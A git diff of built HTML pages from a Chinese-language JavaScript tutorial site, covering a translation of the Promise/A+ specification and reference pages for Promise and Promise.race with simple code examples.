                                                                        Generator.prototype.next

                                                                        - + diff --git a/standard-built-in-objects/control-abstraction-objects/promise-standard/index.html b/standard-built-in-objects/control-abstraction-objects/promise-standard/index.html index f71ee26ac..519fc4c5c 100644 --- a/standard-built-in-objects/control-abstraction-objects/promise-standard/index.html +++ b/standard-built-in-objects/control-abstraction-objects/promise-standard/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise/A+ 规范 - JavaScript Guidebook -

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise/A+ 规范

                                                                        Promise 表示一个异步操作的最终结果,与之进行交互的方式主要是 .then 方法,该方法注册了两个回调函数,用于接收 Promise 的终值或本 Promise 不能执行的原因。

                                                                        本规范详细列出了 .then 方法的执行过程,所有遵循 Promises/A+ 规范实现的 Promise 均可以本标准作为参照基础来实施 .then 方法。因而本规范是十分稳定的。尽管 Promise/A+ 组织有时可能会修订本规范,但主要是为了处理一些特殊的边界情况,且这些改动都是微小且向下兼容的。如果我们要进行大规模不兼容的更新,我们一定会在事先进行谨慎地考虑、详尽的探讨和严格的测试。

                                                                        从历史上说,本规范实际上是把之前 Promise/A 规范 中的建议明确成为了行为标准:我们一方面扩展了原有规范约定俗成的行为,一方面删减了原规范的一些特例情况和有问题的部分。

                                                                        最后,核心的 Promises/A+ 规范不设计如何创建、解决和拒绝 Promise,而是专注于提供一个通用的 .then 方法。上述对于 Promises 的操作方法将来在其他规范中可能会提及。

                                                                        规范术语

                                                                        • 解决(fulfill):指一个 Promise 成功时进行的一系列操作,如状态的改变、回调的执行。虽然规范中用 fulfill 来表示解决,但在后世的 Promise 实现多以 resolve 来指代之。
                                                                        • 拒绝(reject):指一个 Promise 失败时进行的一系列操作。
                                                                        • 终值(eventual value):所谓终值,指的是 Promise 被解决时传递给解决回调的值,由于 Promise 有一次性的特征,因此当这个值被传递时,标志着 Promise 等待态的结束,故称之终值,有时也直接简称为值(value)。
                                                                        • 拒因(reason):也就是拒绝原因,指在 Promise 被拒绝时传递给拒绝回调的值。

                                                                        术语

                                                                        • Promise:Promise 是一个拥有 .then 方法的对象或函数,其行为符合本规范;
                                                                        • thenable:是一个定义了 .then 方法的对象或函数,文中译作"拥有 .then 方法";
                                                                        • 值(value):指任何 JavaScript 的合法值(包括 undefined、thenable 和 Promise);
                                                                        • 异常(exception):是使用 throw 语句抛出的一个值。
                                                                        • 拒因(reason):表示一个 Promise 的拒绝原因。

                                                                        状态

                                                                        一个 Promise 的当前状态必须为以下三种状态中的一种:等待态(Pending)、执行态(Fulfilled)和拒绝态(Rejected)。

                                                                        等待态(Pending)

                                                                        处于等待态时,Promise 需满足以下条件:

                                                                        • 可以迁移至执行态或拒绝态

                                                                        执行态(Fulfilled)

                                                                        处于执行态时,Promise 需满足以下条件:

                                                                        • 不能迁移至其他任何状态
                                                                        • 必须拥有一个不可变的终值

                                                                        拒绝态(Rejected)

                                                                        处于拒绝态时,Promise 需满足以下条件:

                                                                        • 不能迁移至其他任何状态
                                                                        • 必须拥有一个不可变的拒因

                                                                        这里的不可变指的是恒等(即可用 === 判断相等),而不是意味着更深层次的不可变(译者注:盖指当 value 或 reason 不是基本数据类型时,只要求其引用地址相等,但属性值可被更改)。

                                                                        Then 方法

                                                                        一个 Promise 必须提供一个 then 方法以访问其当前值终值拒因

                                                                        Promise 的 then 方法接受两个参数:

                                                                        Promise.then(onFulfilled, onRejected);

                                                                        参数可选

                                                                        onFulfilled 和 onRejected 都是可选参数。

                                                                        • 如果 onFulfilled 不是函数,其必须被忽略
                                                                        • 如果 onRejected 不是函数,其必须被忽略

                                                                        onFulfilled 特性

                                                                        如果 onFulfilled 是函数:

                                                                        • 当 Promise 执行结束后其必须被调用,其第一个参数为 Promise 的终值
                                                                        • 在 Promise 执行结束前其不可被调用
                                                                        • 其调用次数不可超过一次

                                                                        onRejected 特性

                                                                        如果 onRejected 是函数:

                                                                        • 当 Promise 被拒绝执行后其必须被调用,其第一个参数为 Promise 的拒因
                                                                        • 在 Promise 被拒绝执行前其不可被调用
                                                                        • 其调用次数不可超过一次

                                                                        调用时机

                                                                        onFulfilled 和 onRejected 只有在执行环境堆栈仅包含平台代码时才可被调用。注 1

                                                                        调用要求

                                                                        onFulfilled 和 onRejected 必须被作为函数调用(即没有 this 值)注 2

                                                                        多次调用

                                                                        then 方法可以被同一个 Promise 调用多次

                                                                        • 当 Promise 成功执行时,所有 onFulfilled 需按照其注册顺序依次回调
                                                                        • 当 Promise 被拒绝执行时,所有的 onRejected 需按照其注册顺序依次回调

                                                                        返回

                                                                        then 方法必须返回一个 Promise 对象注 3

                                                                        promise2 = promise1.then(onFulfilled, onRejected);
                                                                        • 如果 onFulfilled 或者 onRejected 返回一个值 x ,则运行下面的 Promise 解决过程:[[Resolve]](Promise2, x)
                                                                        • 如果 onFulfilled 或者 onRejected 抛出一个异常 e ,则 promise2 必须拒绝执行,并返回拒因 e
                                                                        • 如果 onFulfilled 不是函数且 promise1 成功执行, promise2 必须成功执行并返回相同的值
                                                                        • 如果 onRejected 不是函数且 promise1 拒绝执行, promise2 必须拒绝执行并返回相同的拒因

                                                                        译者注:理解上面的"返回"部分非常重要,即:不论 promise1 被 reject 还是被 resolve 时 promise2 都会被 resolve,只有出现异常时才会被 rejected。

                                                                        解决过程

                                                                        Promise 解决过程是一个抽象的操作,其需输入一个 Promise 和一个值,我们表示为 [[Resolve]](Promise, x),如果 xthen 方法且看上去像一个 Promise ,解决程序即尝试使 Promise 接受 x 的状态;否则其用 x 的值来执行 Promise 。

                                                                        这种 thenable 的特性使得 Promise 的实现更具有通用性:只要其暴露出一个遵循 Promise/A+ 协议的 then 方法即可;这同时也使遵循 Promise/A+ 规范的实现可以与那些不太规范但可用的实现能良好共存。

                                                                        运行 [[Resolve]](Promise, x) 需遵循以下步骤:

                                                                        x 与 Promise 相等

                                                                        如果 Promise 和 x 指向同一对象,以 TypeError 为拒因拒绝执行 Promise

                                                                        x 为 Promise

                                                                        如果 x 为 Promise ,则使 Promise 接受 x 的状态 注 4

                                                                        • 如果 x 处于等待态,Promise 需保持为等待态直至 x 被执行或拒绝
                                                                        • 如果 x 处于执行态,用相同的值执行 Promise
                                                                        • 如果 x 处于拒绝态,用相同的拒因拒绝 Promise

                                                                        x 为对象或函数

                                                                        如果 x 为对象或者函数:

                                                                        • x.then 赋值给 then 注 5
                                                                        • 如果取 x.then 的值时抛出错误 e ,则以 e 为拒因拒绝 Promise
                                                                        • 如果 then 是函数,将 x 作为函数的作用域 this 调用之。传递两个回调函数作为参数,第一个参数叫做 resolvePromise ,第二个参数叫做 rejectPromise:
                                                                          • 如果 resolvePromise 以值 y 为参数被调用,则运行 [[Resolve]](Promise, y)
                                                                          • 如果 rejectPromise 以拒因 r 为参数被调用,则以拒因 r 拒绝 Promise
                                                                          • 如果 resolvePromiserejectPromise 均被调用,或者被同一参数调用了多次,则优先采用首次调用并忽略剩下的调用
                                                                          • 如果调用 then 方法抛出了异常 e
                                                                            • 如果 resolvePromiserejectPromise 已经被调用,则忽略之
                                                                            • 否则以 e 为拒因拒绝 Promise
                                                                          • 如果 then 不是函数,以 x 为参数执行 Promise
                                                                        • 如果 x 不为对象或者函数,以 x 为参数执行 Promise

                                                                        如果一个 Promise 被一个循环的 thenable 链中的对象解决,而 [[Resolve]](Promise, thenable) 的递归性质又使得其被再次调用,根据上述的算法将会陷入无限递归之中。算法虽不强制要求,但也鼓励施者检测这样的递归是否存在,若检测到存在则以一个可识别的 TypeError 为拒因来拒绝 Promise 注 6

                                                                        注释

                                                                        注 1

                                                                        这里的平台代码指的是引擎、环境以及 promise 的实施代码。实践中要确保 onFulfilled 和 onRejected 方法异步执行,且应该在 then 方法被调用的那一轮事件循环之后的新执行栈中执行。这个事件队列可以采用 宏任务(macro-task) 机制或者 微任务(micro-task) 机制来实现。由于 Promise 的实施代码本身就是平台代码(译者注:即都是 JavaScript),故代码自身在处理在处理程序时可能已经包含一个任务调度队列。

                                                                        译者注:这里提及了 macrotaskmicrotask 两个概念,这表示异步任务的两种分类。在挂起任务时,JavaScript 引擎会将所有任务按照类别分到这两个队列中,首先在 macrotask 的队列(这个队列也被叫做 task queue 任务队列)中取出第一个任务,执行完毕后取出 microtask 队列中的所有任务顺序执行;之后再取 macrotask 任务,周而复始,直至两个队列的任务都取完。

                                                                        两个类别的具体分类如下:

                                                                        • macro-task: script(整体代码)、setTimeoutsetInterval、setImmediate、I/O、UI rendering
                                                                        • micro-task: process.nextTick、Promise(这里指浏览器实现的原生 Promise)、Object.observe、MutationObserver

                                                                        注 2

                                                                        在严格模式(strict)中,函数 this 的值为 undefined;在非严格模式中其为全局对象。

                                                                        注 3

                                                                        代码实现在满足所有要求的情况下可以允许 promise2 === promise1 。每个实现都要文档说明其是否允许以及在何种条件下允许 promise2 === promise1

                                                                        注 4

                                                                        总体来说,如果 x 符合当前实现,我们才认为它是真正的 Promise 。这一规则允许那些特例实现接受符合已知要求的 Promise 状态。

                                                                        注 5

                                                                        这步我们先是存储了一个指向 x.then 的引用,然后测试并调用该引用,以避免多次访问 x.then 属性。这种预防措施确保了该属性的一致性,因为其值可能在检索调用时被改变。

                                                                        注 6

                                                                        实现不应该对 thenable 链的深度设限,并假定超出本限制的递归就是无限循环。只有真正的循环递归才应能导致 TypeError 异常;如果一条无限长的链上 thenable 均不相同,那么递归下去永远是正确的行为。

                                                                        参考资料

                                                                        +

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise/A+ 规范

                                                                        Promise 表示一个异步操作的最终结果,与之进行交互的方式主要是 .then 方法,该方法注册了两个回调函数,用于接收 Promise 的终值或本 Promise 不能执行的原因。

                                                                        本规范详细列出了 .then 方法的执行过程,所有遵循 Promises/A+ 规范实现的 Promise 均可以本标准作为参照基础来实施 .then 方法。因而本规范是十分稳定的。尽管 Promise/A+ 组织有时可能会修订本规范,但主要是为了处理一些特殊的边界情况,且这些改动都是微小且向下兼容的。如果我们要进行大规模不兼容的更新,我们一定会在事先进行谨慎地考虑、详尽的探讨和严格的测试。

                                                                        从历史上说,本规范实际上是把之前 Promise/A 规范 中的建议明确成为了行为标准:我们一方面扩展了原有规范约定俗成的行为,一方面删减了原规范的一些特例情况和有问题的部分。

                                                                        最后,核心的 Promises/A+ 规范不设计如何创建、解决和拒绝 Promise,而是专注于提供一个通用的 .then 方法。上述对于 Promises 的操作方法将来在其他规范中可能会提及。

                                                                        规范术语

                                                                        • 解决(fulfill):指一个 Promise 成功时进行的一系列操作,如状态的改变、回调的执行。虽然规范中用 fulfill 来表示解决,但在后世的 Promise 实现多以 resolve 来指代之。
                                                                        • 拒绝(reject):指一个 Promise 失败时进行的一系列操作。
                                                                        • 终值(eventual value):所谓终值,指的是 Promise 被解决时传递给解决回调的值,由于 Promise 有一次性的特征,因此当这个值被传递时,标志着 Promise 等待态的结束,故称之终值,有时也直接简称为值(value)。
                                                                        • 拒因(reason):也就是拒绝原因,指在 Promise 被拒绝时传递给拒绝回调的值。

                                                                        术语

                                                                        • Promise:Promise 是一个拥有 .then 方法的对象或函数,其行为符合本规范;
                                                                        • thenable:是一个定义了 .then 方法的对象或函数,文中译作"拥有 .then 方法";
                                                                        • 值(value):指任何 JavaScript 的合法值(包括 undefined、thenable 和 Promise);
                                                                        • 异常(exception):是使用 throw 语句抛出的一个值。
                                                                        • 拒因(reason):表示一个 Promise 的拒绝原因。

                                                                        状态

                                                                        一个 Promise 的当前状态必须为以下三种状态中的一种:等待态(Pending)、执行态(Fulfilled)和拒绝态(Rejected)。

                                                                        等待态(Pending)

                                                                        处于等待态时,Promise 需满足以下条件:

                                                                        • 可以迁移至执行态或拒绝态

                                                                        执行态(Fulfilled)

                                                                        处于执行态时,Promise 需满足以下条件:

                                                                        • 不能迁移至其他任何状态
                                                                        • 必须拥有一个不可变的终值

                                                                        拒绝态(Rejected)

                                                                        处于拒绝态时,Promise 需满足以下条件:

                                                                        • 不能迁移至其他任何状态
                                                                        • 必须拥有一个不可变的拒因

                                                                        这里的不可变指的是恒等(即可用 === 判断相等),而不是意味着更深层次的不可变(译者注:盖指当 value 或 reason 不是基本数据类型时,只要求其引用地址相等,但属性值可被更改)。

                                                                        Then 方法

                                                                        一个 Promise 必须提供一个 then 方法以访问其当前值终值拒因

                                                                        Promise 的 then 方法接受两个参数:

                                                                        Promise.then(onFulfilled, onRejected);

                                                                        参数可选

                                                                        onFulfilled 和 onRejected 都是可选参数。

                                                                        • 如果 onFulfilled 不是函数,其必须被忽略
                                                                        • 如果 onRejected 不是函数,其必须被忽略

                                                                        onFulfilled 特性

                                                                        如果 onFulfilled 是函数:

                                                                        • 当 Promise 执行结束后其必须被调用,其第一个参数为 Promise 的终值
                                                                        • 在 Promise 执行结束前其不可被调用
                                                                        • 其调用次数不可超过一次

                                                                        onRejected 特性

                                                                        如果 onRejected 是函数:

                                                                        • 当 Promise 被拒绝执行后其必须被调用,其第一个参数为 Promise 的拒因
                                                                        • 在 Promise 被拒绝执行前其不可被调用
                                                                        • 其调用次数不可超过一次

                                                                        调用时机

                                                                        onFulfilled 和 onRejected 只有在执行环境堆栈仅包含平台代码时才可被调用。注 1

                                                                        调用要求

                                                                        onFulfilled 和 onRejected 必须被作为函数调用(即没有 this 值)注 2

                                                                        多次调用

                                                                        then 方法可以被同一个 Promise 调用多次

                                                                        • 当 Promise 成功执行时,所有 onFulfilled 需按照其注册顺序依次回调
                                                                        • 当 Promise 被拒绝执行时,所有的 onRejected 需按照其注册顺序依次回调

                                                                        返回

                                                                        then 方法必须返回一个 Promise 对象注 3

                                                                        promise2 = promise1.then(onFulfilled, onRejected);
                                                                        • 如果 onFulfilled 或者 onRejected 返回一个值 x ,则运行下面的 Promise 解决过程:[[Resolve]](Promise2, x)
                                                                        • 如果 onFulfilled 或者 onRejected 抛出一个异常 e ,则 promise2 必须拒绝执行,并返回拒因 e
                                                                        • 如果 onFulfilled 不是函数且 promise1 成功执行, promise2 必须成功执行并返回相同的值
                                                                        • 如果 onRejected 不是函数且 promise1 拒绝执行, promise2 必须拒绝执行并返回相同的拒因

                                                                        译者注:理解上面的"返回"部分非常重要,即:不论 promise1 被 reject 还是被 resolve 时 promise2 都会被 resolve,只有出现异常时才会被 rejected。

                                                                        解决过程

                                                                        Promise 解决过程是一个抽象的操作,其需输入一个 Promise 和一个值,我们表示为 [[Resolve]](Promise, x),如果 xthen 方法且看上去像一个 Promise ,解决程序即尝试使 Promise 接受 x 的状态;否则其用 x 的值来执行 Promise 。

                                                                        这种 thenable 的特性使得 Promise 的实现更具有通用性:只要其暴露出一个遵循 Promise/A+ 协议的 then 方法即可;这同时也使遵循 Promise/A+ 规范的实现可以与那些不太规范但可用的实现能良好共存。

                                                                        运行 [[Resolve]](Promise, x) 需遵循以下步骤:

                                                                        x 与 Promise 相等

                                                                        如果 Promise 和 x 指向同一对象,以 TypeError 为拒因拒绝执行 Promise

                                                                        x 为 Promise

                                                                        如果 x 为 Promise ,则使 Promise 接受 x 的状态 注 4

                                                                        • 如果 x 处于等待态,Promise 需保持为等待态直至 x 被执行或拒绝
                                                                        • 如果 x 处于执行态,用相同的值执行 Promise
                                                                        • 如果 x 处于拒绝态,用相同的拒因拒绝 Promise

                                                                        x 为对象或函数

                                                                        如果 x 为对象或者函数:

                                                                        • x.then 赋值给 then 注 5
                                                                        • 如果取 x.then 的值时抛出错误 e ,则以 e 为拒因拒绝 Promise
                                                                        • 如果 then 是函数,将 x 作为函数的作用域 this 调用之。传递两个回调函数作为参数,第一个参数叫做 resolvePromise ,第二个参数叫做 rejectPromise:
                                                                          • 如果 resolvePromise 以值 y 为参数被调用,则运行 [[Resolve]](Promise, y)
                                                                          • 如果 rejectPromise 以拒因 r 为参数被调用,则以拒因 r 拒绝 Promise
                                                                          • 如果 resolvePromiserejectPromise 均被调用,或者被同一参数调用了多次,则优先采用首次调用并忽略剩下的调用
                                                                          • 如果调用 then 方法抛出了异常 e
                                                                            • 如果 resolvePromiserejectPromise 已经被调用,则忽略之
                                                                            • 否则以 e 为拒因拒绝 Promise
                                                                          • 如果 then 不是函数,以 x 为参数执行 Promise
                                                                        • 如果 x 不为对象或者函数,以 x 为参数执行 Promise

                                                                        如果一个 Promise 被一个循环的 thenable 链中的对象解决,而 [[Resolve]](Promise, thenable) 的递归性质又使得其被再次调用,根据上述的算法将会陷入无限递归之中。算法虽不强制要求,但也鼓励施者检测这样的递归是否存在,若检测到存在则以一个可识别的 TypeError 为拒因来拒绝 Promise 注 6

                                                                        注释

                                                                        注 1

                                                                        这里的平台代码指的是引擎、环境以及 promise 的实施代码。实践中要确保 onFulfilled 和 onRejected 方法异步执行,且应该在 then 方法被调用的那一轮事件循环之后的新执行栈中执行。这个事件队列可以采用 宏任务(macro-task) 机制或者 微任务(micro-task) 机制来实现。由于 Promise 的实施代码本身就是平台代码(译者注:即都是 JavaScript),故代码自身在处理在处理程序时可能已经包含一个任务调度队列。

                                                                        译者注:这里提及了 macrotaskmicrotask 两个概念,这表示异步任务的两种分类。在挂起任务时,JavaScript 引擎会将所有任务按照类别分到这两个队列中,首先在 macrotask 的队列(这个队列也被叫做 task queue 任务队列)中取出第一个任务,执行完毕后取出 microtask 队列中的所有任务顺序执行;之后再取 macrotask 任务,周而复始,直至两个队列的任务都取完。

                                                                        两个类别的具体分类如下:

                                                                        • macro-task: script(整体代码)、setTimeoutsetInterval、setImmediate、I/O、UI rendering
                                                                        • micro-task: process.nextTick、Promise(这里指浏览器实现的原生 Promise)、Object.observe、MutationObserver

                                                                        注 2

                                                                        在严格模式(strict)中,函数 this 的值为 undefined;在非严格模式中其为全局对象。

                                                                        注 3

                                                                        代码实现在满足所有要求的情况下可以允许 promise2 === promise1 。每个实现都要文档说明其是否允许以及在何种条件下允许 promise2 === promise1

                                                                        注 4

                                                                        总体来说,如果 x 符合当前实现,我们才认为它是真正的 Promise 。这一规则允许那些特例实现接受符合已知要求的 Promise 状态。

                                                                        注 5

                                                                        这步我们先是存储了一个指向 x.then 的引用,然后测试并调用该引用,以避免多次访问 x.then 属性。这种预防措施确保了该属性的一致性,因为其值可能在检索调用时被改变。

                                                                        注 6

                                                                        实现不应该对 thenable 链的深度设限,并假定超出本限制的递归就是无限循环。只有真正的循环递归才应能导致 TypeError 异常;如果一条无限长的链上 thenable 均不相同,那么递归下去永远是正确的行为。

                                                                        参考资料

                                                                        - + diff --git a/standard-built-in-objects/control-abstraction-objects/promise/index.html b/standard-built-in-objects/control-abstraction-objects/promise/index.html index d5beece63..41b59bb97 100644 --- a/standard-built-in-objects/control-abstraction-objects/promise/index.html +++ b/standard-built-in-objects/control-abstraction-objects/promise/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise - JavaScript Guidebook -

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise

                                                                        传统异步编程最大特点是地狱式回调嵌套,一旦嵌套层级过深,项目代码将难以理解和维护。而 Promise 能让我们通过 链式调用 的方法去解决回调地狱的问题。

                                                                        Promise 是异步编程的一种解决方案,可以将异步操作队列化,按照期望的顺序执行,返回符合预期的结果。可以在对象之间传递和操作 Promise,帮助我们处理队列。

                                                                        语法:

                                                                        new Promise(executor);

                                                                        executor 函数参数语法:

                                                                        function(resolve, reject){...}

                                                                        Promise 的参数 executor 是带有 resolvereject 两个参数的函数。而这两个参数也是函数。

                                                                        • resolve:从 Pending(待定) 变为 Fullfilled(实现),在异步操作成功时调用,并将异步操作的结果,作为参数传递出去。该函数的参数除了正常的值以外,还可能是另一个 Promise 实例
                                                                        • reject:从 Pending(待定) 变为 Rejected(否决),在异步失败时调用,并将异步操作报出的错误,作为参数传递出去。该函数的参数通常是 Error 对象的实例,表示抛出的错误。

                                                                        类型声明:

                                                                        constructor(executor: (resolve: (result: R) => void, reject: (error: any) => void) => void): Promise
                                                                        -
                                                                        constructor(executor: (resolve: (thenable: Thenable<R>) => void, reject: (error: any) => void) => void): Promise

                                                                        描述

                                                                        • Promise 构造函数执行时立即调用 executor 函数,resolvereject 两个函数作为参数传入 executorexecutor 函数会在 Promise 构造函数返回新建对象前被调用)。
                                                                        • executor 内部通常会执行一些异步操作,一旦完成,可以调用 resolve 函数来将 Promise 状态改成 Fulfilled,或者在发生错误时将它的状态改为 Rejected
                                                                        • 无法取消 Promise,一旦新建它就会立即执行,无法中途取消
                                                                        • 如果不设置回调函数(executor),Promise 内部抛出错误,不会反应到外部
                                                                        • 当处于 Pending 状态时,无法得知目前进展到哪一个阶段

                                                                        如果某些事件不断地反复发生,一般来说,使用  Stream  模式是比部署 Promise 更好的选择。

                                                                        🌰 代码示例

                                                                        new Promise(
                                                                        /* 执行器 */
                                                                        function (resolve, reject) {
                                                                        // 异步处理
                                                                        +

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise

                                                                        传统异步编程最大特点是地狱式回调嵌套,一旦嵌套层级过深,项目代码将难以理解和维护。而 Promise 能让我们通过 链式调用 的方法去解决回调地狱的问题。

                                                                        Promise 是异步编程的一种解决方案,可以将异步操作队列化,按照期望的顺序执行,返回符合预期的结果。可以在对象之间传递和操作 Promise,帮助我们处理队列。

                                                                        语法:

                                                                        new Promise(executor);

                                                                        executor 函数参数语法:

                                                                        function(resolve, reject){...}

                                                                        Promise 的参数 executor 是带有 resolvereject 两个参数的函数。而这两个参数也是函数。

                                                                        • resolve:从 Pending(待定) 变为 Fullfilled(实现),在异步操作成功时调用,并将异步操作的结果,作为参数传递出去。该函数的参数除了正常的值以外,还可能是另一个 Promise 实例
                                                                        • reject:从 Pending(待定) 变为 Rejected(否决),在异步失败时调用,并将异步操作报出的错误,作为参数传递出去。该函数的参数通常是 Error 对象的实例,表示抛出的错误。

                                                                        类型声明:

                                                                        constructor(executor: (resolve: (result: R) => void, reject: (error: any) => void) => void): Promise
                                                                        +
                                                                        constructor(executor: (resolve: (thenable: Thenable<R>) => void, reject: (error: any) => void) => void): Promise

                                                                        描述

                                                                        • Promise 构造函数执行时立即调用 executor 函数,resolvereject 两个函数作为参数传入 executorexecutor 函数会在 Promise 构造函数返回新建对象前被调用)。
                                                                        • executor 内部通常会执行一些异步操作,一旦完成,可以调用 resolve 函数来将 Promise 状态改成 Fulfilled,或者在发生错误时将它的状态改为 Rejected
                                                                        • 无法取消 Promise,一旦新建它就会立即执行,无法中途取消
                                                                        • 如果不设置回调函数(executor),Promise 内部抛出错误,不会反应到外部
                                                                        • 当处于 Pending 状态时,无法得知目前进展到哪一个阶段

                                                                        如果某些事件不断地反复发生,一般来说,使用  Stream  模式是比部署 Promise 更好的选择。

                                                                        🌰 代码示例

                                                                        new Promise(
                                                                        /* 执行器 */
                                                                        function (resolve, reject) {
                                                                        // 异步处理
                                                                        // 数据处理完成后执行
                                                                        resolve();
                                                                        // 数据处理出错时执行
                                                                        reject();
                                                                        }
                                                                        ).then(
                                                                        function A() {
                                                                        /* 成功,下一步 */
                                                                        },
                                                                        function B() {
                                                                        /* 失败,做相应处理 */
                                                                        }
                                                                        );

                                                                        工作流

                                                                        Promise 是一个代理对象(代理一个值),被代理的值在 Promise 对象创建时可能是未知的。它允许你为异步操作的 FulfilledRejected 分别绑定相应的处理方法(handlers)。这让异步方法可以像同步方法那样返回值,但并不是立即返回最终执行结果,而是一个能代表未来出现的结果的 Promise 对象。

                                                                        由于 Promise.prototype.thenPromise.prototype.catch 方法返回 Promise 对象,所以它们可以被 链式调用

                                                                        Promise Workflow

                                                                        状态

                                                                        new 实例化的 Promise 对象有以下三种状态:

                                                                        状态含义描述
                                                                        Pending待定初始状态
                                                                        Fulfilled实现操作成功,此时会调用 onFulfilled
                                                                        Rejected否决操作失败,此时会调用 onRejected
                                                                        Promise State

                                                                        ⚠️ 注意:Promise 的状态,从 Pending转换为 FulfilledRejected 之后,这个 Promise 对象的状态就不会发生任何变化。

                                                                        而当 Promise 状态一旦发生变化,就会触发 .then() 里的响应函数处理后续步骤。

                                                                        但是,.then() 参数中的函数只会调用其中一个,调用哪个取决于该 Promise 的状态。

                                                                        另外,FulfilledRejected 这两个中的任何一种状态都可以表示为 Settled(不变的)

                                                                        静态方法

                                                                        方法说明
                                                                        Promise.all(iterable)将多个 Promise 实例包装成一个新的 Promise 实例。全部成员 Fulfilled 或某个成员 Rejected 时触发回调
                                                                        Promise.race(iterable)将多个 Promise 实例包装成一个新的 Promise 实例。某个成员状态变更后触发回调
                                                                        Promise.reject(reason)返回新的 Promise 实例,该实例的状态为 Rejected
                                                                        Promise.resolve(value)返回新的 Promise 实例,该实例的状态为 Fulfilled

                                                                        原型对象

                                                                        属性

                                                                        原型属性说明
                                                                        Promise.prototype.constructor返回被创建的实例函数,默认为 Promise 函数

                                                                        方法

                                                                        原型方法说明
                                                                        Promise.prototype.catch(onRejected)相当于 .then(null, rejection),用于指定发生错误时的回调函数
                                                                        Promise.prototype.then(onFulfilled, onRejected)添加 fulfillmentrejection 回调到当前 Promise,返回一个新的 Promise,将以回调的返回值来 resolve
                                                                        Promise.prototype.finally(onFinally)用于指定无论 Promise 对象最后状态如何,都会执行的操作

                                                                        最佳实践

                                                                        多任务串行

                                                                        const Task = function (result, isSuccess = true) {
                                                                        return () =>
                                                                        new Promise((resolve, reject) => {
                                                                        setTimeout(() => {
                                                                        if (isSuccess) {
                                                                        resolve(result);
                                                                        } else {
                                                                        reject(result);
                                                                        }
                                                                        }, 1000);
                                                                        });
                                                                        };
                                                                        -
                                                                        execute([Task('A'), Task('B'), Task('C', false), Task('D')]).then((resultList) => {
                                                                        // do something
                                                                        });

                                                                        注意事项:

                                                                        1. 每个 Task 无论成功与否,都不能阻断下个 Task 的执行
                                                                        2. 最后的 then 需要把每个 Task 的执行结果 决议 出去

                                                                        实现思路:

                                                                        1. 每个 Task 外层包装一层 Promise,捕获 Task 的 rejected 状态
                                                                        2. 可以利用中间变量,缓存所有 Task 的输出结果,然后在最后一个 Promise 的 then 里把中间变量 决议 出去
                                                                        function execute(tasks) {
                                                                        return;
                                                                        task.reduce(
                                                                        (previousPromise, currentPromise) =>
                                                                        previousPromise.then((resultList) => {
                                                                        return new Promise((resolve) => {
                                                                        currentPromise()
                                                                        .then((result) => {
                                                                        resolve(resultList.concat(result));
                                                                        })
                                                                        .catch(() => {
                                                                        resolve(resultList.concat(null));
                                                                        });
                                                                        });
                                                                        }),
                                                                        []
                                                                        );
                                                                        }

                                                                        同步并发

                                                                        异步并发

                                                                        参考资料

                                                                        +
                                                                        execute([Task('A'), Task('B'), Task('C', false), Task('D')]).then((resultList) => {
                                                                        // do something
                                                                        });

                                                                        注意事项:

                                                                        1. 每个 Task 无论成功与否,都不能阻断下个 Task 的执行
                                                                        2. 最后的 then 需要把每个 Task 的执行结果 决议 出去

                                                                        实现思路:

                                                                        1. 每个 Task 外层包装一层 Promise,捕获 Task 的 rejected 状态
                                                                        2. 可以利用中间变量,缓存所有 Task 的输出结果,然后在最后一个 Promise 的 then 里把中间变量 决议 出去
                                                                        function execute(tasks) {
                                                                        return;
                                                                        task.reduce(
                                                                        (previousPromise, currentPromise) =>
                                                                        previousPromise.then((resultList) => {
                                                                        return new Promise((resolve) => {
                                                                        currentPromise()
                                                                        .then((result) => {
                                                                        resolve(resultList.concat(result));
                                                                        })
                                                                        .catch(() => {
                                                                        resolve(resultList.concat(null));
                                                                        });
                                                                        });
                                                                        }),
                                                                        []
                                                                        );
                                                                        }

                                                                        同步并发

                                                                        异步并发

                                                                        参考资料

                                                                        - + diff --git a/standard-built-in-objects/control-abstraction-objects/race/index.html b/standard-built-in-objects/control-abstraction-objects/race/index.html index f87cf89c9..6808e4f63 100644 --- a/standard-built-in-objects/control-abstraction-objects/race/index.html +++ b/standard-built-in-objects/control-abstraction-objects/race/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise.race - JavaScript Guidebook -

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise.race

                                                                        Promise.race 接收一个可迭代对象作为参数,当某个成员 Promise 状态变更后(无论是 Fulfilled 状态还是 Rejected 状态),立即调用指定的函数。

                                                                        语法

                                                                        语法:

                                                                        Promise.race(iterator);

                                                                        类型声明:

                                                                        interface PromiseConstructor {
                                                                        race<T>(values: readonly T[]): Promse<T extends PromiseLike<infer U> ? U : T>;
                                                                        }
                                                                        -
                                                                        interface PromiseLike<T> {
                                                                        then<TResult1 = T, TResult2 = never>(
                                                                        onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null,
                                                                        onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null
                                                                        ): PromiseLike<TResult1 | TResult2>;
                                                                        }

                                                                        参数说明:

                                                                        参数说明类型
                                                                        iterator可迭代对象,例如数组Iterator

                                                                        • Promise.all 相似,Promise.raceiterator 参数必须是 Iterator
                                                                        • 只要参数 iterator 的其中某个 Promise 实例成员的状态变更,那么 Promise.race 会立即返回一个新创建的 Promise 实例,并将返回值传递给回调函数
                                                                        • Promise.race 方法的参数与 Promise.all 方法一样,如果不是 Promise 实例,就会先调用 Promise.resolve 方法,将参数转为 Promise 实例,再进一步处理。

                                                                        代码示例

                                                                        const getPromise = (value: number, delay: number, fail: boolean): Promise<number> => {
                                                                        return new Promise<number>((resolve, reject) => {
                                                                        setTimeout(() => (fail ? reject(value) : resolve(value)), delay);
                                                                        });
                                                                        };
                                                                        -
                                                                        const fastestPromise = Promise.race<number>([
                                                                        getPromise(0, 500, false), // 0.5s
                                                                        getPromise(1, 2000, false), // 2s
